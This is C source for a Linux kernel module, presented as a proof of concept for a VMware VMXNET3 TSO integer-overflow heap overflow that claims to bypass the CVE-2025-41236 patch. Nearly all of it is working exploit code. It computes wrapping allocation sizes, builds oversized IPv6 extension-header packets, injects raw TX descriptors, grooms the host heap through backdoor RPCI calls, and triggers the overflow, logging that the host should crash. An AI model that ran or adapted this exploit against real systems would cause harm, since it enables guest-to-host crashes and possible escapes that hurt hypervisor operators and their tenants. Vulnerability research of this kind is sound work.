/* * vmxnet3_tso_trigger_v8.c — VMXNET3 TSO heap overflow PoC * * Bypasses CVE-2025-41236 patch (per_seg=6240 < 9216, MSS=1). * 32-bit imul wraps: Mem_Malloc(5984), TSO loop writes ~4.3GB → SIGSEGV. * * All SG entries use valid DMA so the TSO loop runs unchecked. * * Usage: insmod vmxnet3_tso_trigger_v8.ko [ifname=eth0] * * Archived for authorized security research only. * Source: https://github.com/0xCyberstan/CVE-2026-59346-POC (see README for attribution/license) */ #include #include #include #include #include #include #include #include #include #include #include #include static char *ifname = "eth0"; module_param(ifname, charp, 0444); static int mode = 0; module_param(mode, int, 0444); static int warmup = 0; module_param(warmup, int, 0444); MODULE_PARM_DESC(warmup, "Number of RPCI heap-warming allocations (default 0)"); static int txwarm = 0; module_param(txwarm, int, 0444); MODULE_PARM_DESC(txwarm, "TX ring warmup TSO packets before overflow (default 0)"); static int dryrun = 0; module_param(dryrun, int, 0444); MODULE_PARM_DESC(dryrun, "1=skip doorbell write (just set up descriptors, don't trigger)"); static int freechunk = 0; module_param(freechunk, int, 0444); MODULE_PARM_DESC(freechunk, "Create N free chunks matching TSO alloc size via RPCI"); static int wait_ms = 0; module_param(wait_ms, int, 0444); MODULE_PARM_DESC(wait_ms, "Milliseconds to wait before doorbell for host mprotect"); /* --- VMware backdoor RPCI for same-vCPU heap warming --- */ #define VMW_MAGIC 0x564D5868u #define VMW_PORT 0x5658u #define VMW_PORT_HB 0x5659u #define MSG_CMD 0x1Eu #define MSG_OPEN (0x00 << 16) #define MSG_SENDSIZE (0x01 << 16) #define MSG_SENDPAYLOAD (0x02 << 16) #define MSG_RECVSIZE (0x03 << 16) #define MSG_CLOSE (0x06 << 16) #define MSG_RPCI 0x49435052u #define MSG_SUCCESS 0x0001u #define MSG_HB 0x0004u static inline void vmw_bd(u32 cmd, u32 ebx_in, u32 *eax, u32 *ebx, u32 *ecx, u32 *edx, u32 *esi, u32 *edi) { u32 a, b, c, d; u64 si, di; asm volatile("inl %%dx, %%eax" : "=a"(a), "=b"(b), "=c"(c), "=d"(d), "=S"(si), "=D"(di) : "a"(VMW_MAGIC), "b"(ebx_in), "c"(cmd), "d"(VMW_PORT)); if (eax) *eax = a; if (ebx) *ebx = b; if (ecx) *ecx = c; if (edx) *edx = d; if (esi) *esi = (u32)si; if (edi) *edi = (u32)di; } static inline void vmw_hb_send(u32 chan, u32 cookie2, const void *data, u32 len) { u64 c2 = cookie2; asm volatile( "push %%rbp\n\t" "mov %5, %%rbp\n\t" "rep outsb\n\t" "pop %%rbp" : "+S"(data), "+c"(len) : "a"(VMW_MAGIC), "b"((u64)(0x00010000u | chan)), "d"((u64)VMW_PORT_HB), "r"(c2) : "memory"); } static int rpci_send(const char *cmd_str, u32 cmd_len) { u32 ecx, edx, esi, edi; u32 chan_id, cookie1, cookie2; u16 status; u32 chan_cmd; vmw_bd(MSG_CMD | MSG_OPEN, MSG_RPCI, NULL, NULL, &ecx, &edx, &esi, &edi); if (!((ecx >> 16) & MSG_SUCCESS)) return -EIO; chan_id = edx >> 16; cookie1 = esi; cookie2 = edi; chan_cmd = MSG_CMD | MSG_SENDSIZE | (chan_id << 16); vmw_bd(chan_cmd, cmd_len, NULL, NULL, &ecx, NULL, NULL, NULL); status = (ecx >> 16) & 0xFFFF; if (!(status & MSG_SUCCESS)) goto close; if (status & MSG_HB) { vmw_hb_send(chan_id, cookie2, cmd_str, cmd_len); } else { u32 off = 0; while (off < cmd_len) { u32 chunk = 0; u32 rem = cmd_len - off; if (rem > 4) rem = 4; memcpy(&chunk, cmd_str + off, rem); chan_cmd = MSG_CMD | MSG_SENDPAYLOAD | (chan_id << 16); vmw_bd(chan_cmd, chunk, NULL, NULL, &ecx, NULL, NULL, NULL); off += 4; } } /* drain reply */ chan_cmd = MSG_CMD | MSG_RECVSIZE | (chan_id << 16); vmw_bd(chan_cmd, 0, NULL, NULL, &ecx, NULL, NULL, NULL); close: chan_cmd = MSG_CMD | MSG_CLOSE | (chan_id << 16); vmw_bd(chan_cmd, cookie1, NULL, NULL, NULL, NULL, NULL, NULL); return 0; } #define NUM_DSTOPTS 3 #define DSTOPT_SIZE 2048 #define DSTOPTS_TOTAL (NUM_DSTOPTS * DSTOPT_SIZE) /* 6144 */ #define ETH_LEN 14 #define IP6_LEN 40 #define TCP_LEN 24 /* doff=6: 20 standard + 4 options */ #define HDR_TOTAL (ETH_LEN + IP6_LEN + DSTOPTS_TOTAL + TCP_LEN) /* 6222 */ #define MSS 1 #define TXD_GEN_SHIFT 14 #define TXD_GEN (1 << TXD_GEN_SHIFT) #define TXD_EOP (1 << 12) #define TXD_CQ (1 << 13) #define OM_TSO 3 #define TXPROD_REG 0x600 #define MAX_TX_BUF 16383 struct txdesc { __le64 addr; __le32 dw2; __le32 dw3; }; struct ring_info { struct txdesc *base; u32 size; u32 *n2f; u8 *gen; }; struct tso_params { u32 per_seg; u32 seg_count; u32 alloc; u32 paylen; u32 overflow; int num_hdr_entries; int num_pay_entries; int total_entries; }; static long modinv(long a, long m) { long old_r = a % m, r = m; long old_s = 1, s = 0; long q, tmp; while (r != 0) { q = old_r / r; tmp = r; r = old_r - q * r; old_r = tmp; tmp = s; s = old_s - q * s; old_s = tmp; } if (old_r != 1) return -1; return ((old_s % m) + m) % m; } static int compute_params(struct tso_params *p) { u32 per_seg, ps; int k; long ps_odd, inv, mod_exp; u32 min_sc, step; u32 alloc, alloc_div, seg_count; u32 best_alloc = 0, best_sc = 0; int best_entries = 0x7FFFFFFF; per_seg = (10 + HDR_TOTAL + MSS + 7) & ~7; p->per_seg = per_seg; printk(KERN_EMERG "tso_v8: per_seg=%u (0x%x), HDR_TOTAL=%u, MSS=%d\n", per_seg, per_seg, HDR_TOTAL, MSS); ps = per_seg; k = 0; while ((ps & 1) == 0) { ps >>= 1; k++; } ps_odd = ps; mod_exp = 32 - k; inv = modinv(ps_odd, 1L << mod_exp); if (inv < 0) { printk(KERN_EMERG "tso_v8: no modular inverse for per_seg=%u\n", per_seg); return -EINVAL; } min_sc = (u32)(((u64)0x100000000ULL + per_seg - 1) / per_seg); step = 1 << k; for (alloc = step; alloc < per_seg; alloc += step) { u32 pl; int he, pe, te; alloc_div = alloc >> k; seg_count = (u32)(((u64)alloc_div * inv) % (1UL << mod_exp)); if (seg_count < min_sc) continue; if (((u64)per_seg * seg_count) % (1ULL << 32) != alloc) continue; pl = seg_count * MSS; he = (HDR_TOTAL + MAX_TX_BUF - 1) / MAX_TX_BUF; pe = (pl + MAX_TX_BUF - 1) / MAX_TX_BUF; te = he + pe; if (te > 96) continue; if (te < best_entries) { best_entries = te; best_alloc = alloc; best_sc = seg_count; } } if (best_entries == 0x7FFFFFFF) { printk(KERN_EMERG "tso_v8: no valid parameters found!\n"); return -ENOENT; } p->alloc = best_alloc; p->seg_count = best_sc; p->paylen = best_sc * MSS; p->overflow = per_seg - best_alloc; p->num_hdr_entries = (HDR_TOTAL + MAX_TX_BUF - 1) / MAX_TX_BUF; p->num_pay_entries = (p->paylen + MAX_TX_BUF - 1) / MAX_TX_BUF; p->total_entries = p->num_hdr_entries + p->num_pay_entries; printk(KERN_EMERG "tso_v8: PARAMS: alloc=%u overflow=%u seg_count=%u paylen=%u\n", p->alloc, p->overflow, p->seg_count, p->paylen); printk(KERN_EMERG "tso_v8: PARAMS: true_product=%llu entries=%d (%d hdr + %d pay)\n", (u64)per_seg * best_sc, p->total_entries, p->num_hdr_entries, p->num_pay_entries); printk(KERN_EMERG "tso_v8: VERIFY: (%u * %u) mod 2^32 = %u (expect %u)\n", per_seg, best_sc, (u32)(((u64)per_seg * best_sc) & 0xFFFFFFFF), best_alloc); return 0; } static void craft_destopts(u8 *buf, const struct tso_params *p) { memset(buf, 0x41, DSTOPTS_TOTAL); } static int build_packet(u8 *pkt, struct net_device *dev, const struct tso_params *p) { struct ipv6hdr *ip6; struct tcphdr *tcp; u8 *ptr, *destopts; int i; ptr = pkt; memset(ptr, 0xff, 6); memcpy(ptr + 6, dev->dev_addr, 6); ptr[12] = 0x86; ptr[13] = 0xdd; ip6 = (struct ipv6hdr *)(pkt + ETH_LEN); memset(ip6, 0, IP6_LEN); ip6->version = 6; ip6->nexthdr = IPPROTO_DSTOPTS; ip6->hop_limit = 64; ip6->payload_len = htons(0xFFFF); ip6->saddr.s6_addr[0] = 0xfe; ip6->saddr.s6_addr[1] = 0x80; ip6->saddr.s6_addr[15] = 0x01; ip6->daddr.s6_addr[0] = 0xfe; ip6->daddr.s6_addr[1] = 0x80; ip6->daddr.s6_addr[15] = 0x02; destopts = pkt + ETH_LEN + IP6_LEN; craft_destopts(destopts, p); ptr = pkt + ETH_LEN + IP6_LEN; for (i = 0; i < NUM_DSTOPTS; i++) { ptr[0] = (i == NUM_DSTOPTS - 1) ? IPPROTO_TCP : IPPROTO_DSTOPTS; ptr[1] = (DSTOPT_SIZE / 8) - 1; /* hdr_ext_len = 255 → 2048 bytes */ ptr += DSTOPT_SIZE; } tcp = (struct tcphdr *)(pkt + ETH_LEN + IP6_LEN + DSTOPTS_TOTAL); memset(tcp, 0, TCP_LEN); tcp->source = htons(12345); tcp->dest = htons(54321); tcp->seq = htonl(0xdeadbeef); tcp->doff = TCP_LEN / 4; /* 6 = 24/4 */ tcp->syn = 1; tcp->window = htons(0xffff); return HDR_TOTAL; } static int find_tx_ring(void *priv, struct ring_info *ri) { int off; for (off = 24; off < 2048; off += 4) { unsigned long val; u32 sz, n2f, n2c; u8 gen; val = *(unsigned long *)((char *)priv + off); if ((val >> 48) != 0xffff) continue; if (val & 0xf) continue; sz = *(u32 *)((char *)priv + off + 8); n2f = *(u32 *)((char *)priv + off + 12); n2c = *(u32 *)((char *)priv + off + 16); gen = *(u8 *)((char *)priv + off + 20); if (sz < 128 || sz > 4096 || (sz & 31)) continue; if (n2f >= sz || n2c >= sz) continue; if (gen > 1) continue; ri->base = (struct txdesc *)val; ri->size = sz; ri->n2f = (u32 *)((char *)priv + off + 12); ri->gen = (u8 *)((char *)priv + off + 20); printk(KERN_EMERG "tso_v8: ring at priv+%d: base=%px sz=%u n2f=%u gen=%u\n", off, ri->base, sz, n2f, gen); return 0; } printk(KERN_EMERG "tso_v8: TX ring not found\n"); return -ENOENT; } static inline void adv_ring(u32 *idx, u8 *gen, u32 size) { if (++(*idx) == size) { *idx = 0; *gen ^= 1; } } static void warmup_heap_arena(int count, u32 val_size) { char *buf; int i, ok = 0; int hdr; buf = kmalloc(val_size + 64, GFP_KERNEL); if (!buf) return; for (i = 0; i < count; i++) { hdr = snprintf(buf, 60, "info-set guestinfo.w.%04d ", i); memset(buf + hdr, 'B', val_size); rpci_send(buf, hdr + val_size); ok++; } for (i = 0; i < 10; i++) { hdr = snprintf(buf, 60, "info-set guestinfo.big.%02d ", i); memset(buf + hdr, 'C', val_size); rpci_send(buf, hdr + val_size); ok++; } kfree(buf); printk(KERN_EMERG "tso_v8: warmup sent %d/%d RPCI allocs (%u bytes each)\n", ok, count + 10, val_size); } static void create_free_chunks(int count, u32 val_size, u32 sep_size) { char *buf; int i, hdr; (void)sep_size; buf = kmalloc(val_size + 64, GFP_KERNEL); if (!buf) return; for (i = 0; i < count; i++) { hdr = snprintf(buf, 60, "info-set guestinfo.fa.%04d ", i); memset(buf + hdr, 'A', val_size); rpci_send(buf, hdr + val_size); } printk(KERN_EMERG "tso_v8: freechunk: allocated %d same-size chunks (%u bytes)\n", count, val_size); hdr = snprintf(buf, 60, "info-set guestinfo.fa.%04d ", 0); buf[hdr] = 'x'; rpci_send(buf, hdr + 1); printk(KERN_EMERG "tso_v8: freechunk: freed A.0000 (%u bytes) -> hole for TSO alloc\n", val_size); kfree(buf); } static int __init tso_init(void) { struct net_device *dev; struct pci_dev *pdev; struct netdev_queue *txq; void *adapter; struct ring_info ri = {}; struct tso_params tp = {}; u8 *pkt = NULL; dma_addr_t pkt_dma = 0; void __iomem *doorbell = NULL; int pkt_len, rc, i; u32 idx, first_idx = 0; u8 gen; struct txdesc *d; int avail; u32 pay_remain; u32 warmup_val_size; printk(KERN_EMERG "tso_v8: INIT START mode=%d ifname=%s txwarm=%d cpu=%d\n", mode, ifname, txwarm, smp_processor_id()); { struct cpumask mask; cpumask_clear(&mask); cpumask_set_cpu(0, &mask); set_cpus_allowed_ptr(current, &mask); schedule(); } printk(KERN_EMERG "tso_v8: pinned to cpu %d\n", smp_processor_id()); rc = compute_params(&tp); if (rc) { printk(KERN_EMERG "tso_v8: compute_params failed rc=%d\n", rc); return rc; } warmup_val_size = tp.alloc > 0 ? tp.alloc - 1 : 0; if (warmup > 0) warmup_heap_arena(warmup, warmup_val_size); dev = dev_get_by_name(&init_net, ifname); if (!dev) { printk(KERN_EMERG "tso_v8: %s not found\n", ifname); return -ENODEV; } pdev = to_pci_dev(dev->dev.parent); adapter = netdev_priv(dev); rc = find_tx_ring(adapter, &ri); if (rc) goto out_dev; avail = ri.size - 1; if (tp.total_entries + txwarm > avail) { printk(KERN_EMERG "tso_v8: need %d entries but ring has %d slots\n", tp.total_entries + txwarm, avail); rc = -ENOSPC; goto out_dev; } doorbell = ioremap(pci_resource_start(pdev, 0) + TXPROD_REG, 8); if (!doorbell) { printk(KERN_EMERG "tso_v8: doorbell map failed\n"); rc = -EIO; goto out_dev; } pkt = kmalloc(MAX_TX_BUF + 16, GFP_KERNEL); if (!pkt) { rc = -ENOMEM; goto out_doorbell; } pkt_len = build_packet(pkt, dev, &tp); if (pkt_len < 0) { rc = pkt_len; goto out_pkt; } memset(pkt + HDR_TOTAL, 0x42, MAX_TX_BUF + 16 - HDR_TOTAL); pkt_dma = dma_map_single(&pdev->dev, pkt, MAX_TX_BUF + 16, DMA_TO_DEVICE); if (dma_mapping_error(&pdev->dev, pkt_dma)) { printk(KERN_EMERG "tso_v8: DMA map failed\n"); rc = -EIO; goto out_pkt; } printk(KERN_EMERG "tso_v8: pkt_dma=0x%llx len=%d, %d warmup + %d overflow entries\n", (u64)pkt_dma, pkt_len, txwarm, tp.total_entries); txq = netdev_get_tx_queue(dev, 0); local_bh_disable(); HARD_TX_LOCK(dev, txq, smp_processor_id()); idx = *ri.n2f; gen = *ri.gen; { u32 hlen_trunc = HDR_TOTAL & 0x3FF; int first_desc = 1; first_idx = idx; /* --- Warmup TSO packets (single-entry each) --- */ for (i = 0; i < txwarm; i++) { u8 use_gen = first_desc ? (gen ^ 1) : gen; d = &ri.base[idx]; d->addr = cpu_to_le64(pkt_dma); d->dw2 = cpu_to_le32((use_gen << TXD_GEN_SHIFT) | (HDR_TOTAL + 15) | (MSS << 18)); d->dw3 = cpu_to_le32(hlen_trunc | (OM_TSO << 10) | TXD_EOP | TXD_CQ); first_desc = 0; adv_ring(&idx, &gen, ri.size); } /* --- SOP entry: full headers, valid DMA --- */ { u8 use_gen = first_desc ? (gen ^ 1) : gen; d = &ri.base[idx]; d->addr = cpu_to_le64(pkt_dma); d->dw2 = cpu_to_le32((use_gen << TXD_GEN_SHIFT) | HDR_TOTAL | (MSS << 18)); d->dw3 = cpu_to_le32(hlen_trunc | (OM_TSO << 10)); first_desc = 0; } adv_ring(&idx, &gen, ri.size); /* --- Payload entries: valid DMA (reuse pkt buffer) --- */ pay_remain = tp.paylen; for (i = 0; i < tp.num_pay_entries; i++) { u32 chunk = (pay_remain > MAX_TX_BUF) ? MAX_TX_BUF : pay_remain; d = &ri.base[idx]; d->addr = cpu_to_le64(pkt_dma); d->dw2 = cpu_to_le32((gen << TXD_GEN_SHIFT) | chunk); d->dw3 = (i == tp.num_pay_entries - 1) ? cpu_to_le32(TXD_EOP | TXD_CQ) : 0; pay_remain -= chunk; adv_ring(&idx, &gen, ri.size); } } if (!dryrun) { *ri.n2f = idx; *ri.gen = gen; } HARD_TX_UNLOCK(dev, txq); local_bh_enable(); if (dryrun) { printk(KERN_EMERG "tso_v8: DRYRUN -- descriptors written but NOT triggered\n"); } else { if (freechunk > 0) create_free_chunks(freechunk, warmup_val_size, 100); if (wait_ms > 0) { printk(KERN_EMERG "tso_v8: READY -- %d ms window for host mprotect\n", wait_ms); msleep(wait_ms); } printk(KERN_EMERG "tso_v8: ringing doorbell (n2f=%u)\n", idx); dma_wmb(); d = &ri.base[first_idx]; d->dw2 = cpu_to_le32(le32_to_cpu(d->dw2) ^ TXD_GEN); iowrite32(idx, doorbell); mdelay(200); printk(KERN_EMERG "tso_v8: doorbell written\n"); } dma_unmap_single(&pdev->dev, pkt_dma, MAX_TX_BUF + 16, DMA_TO_DEVICE); pkt_dma = 0; rc = 0; out_pkt: kfree(pkt); out_doorbell: if (doorbell) iounmap(doorbell); out_dev: dev_put(dev); if (rc == 0) printk(KERN_EMERG "tso_v8: SUCCESS -- overflow triggered, host should crash\n"); else printk(KERN_EMERG "tso_v8: FAILED (rc=%d)\n", rc); return 0; } static void __exit tso_exit(void) { printk(KERN_EMERG "tso_v8: unloaded\n"); } module_init(tso_init); module_exit(tso_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("VMXNET3 TSO integer overflow heap buffer overflow PoC (CVE-2025-41236 bypass)");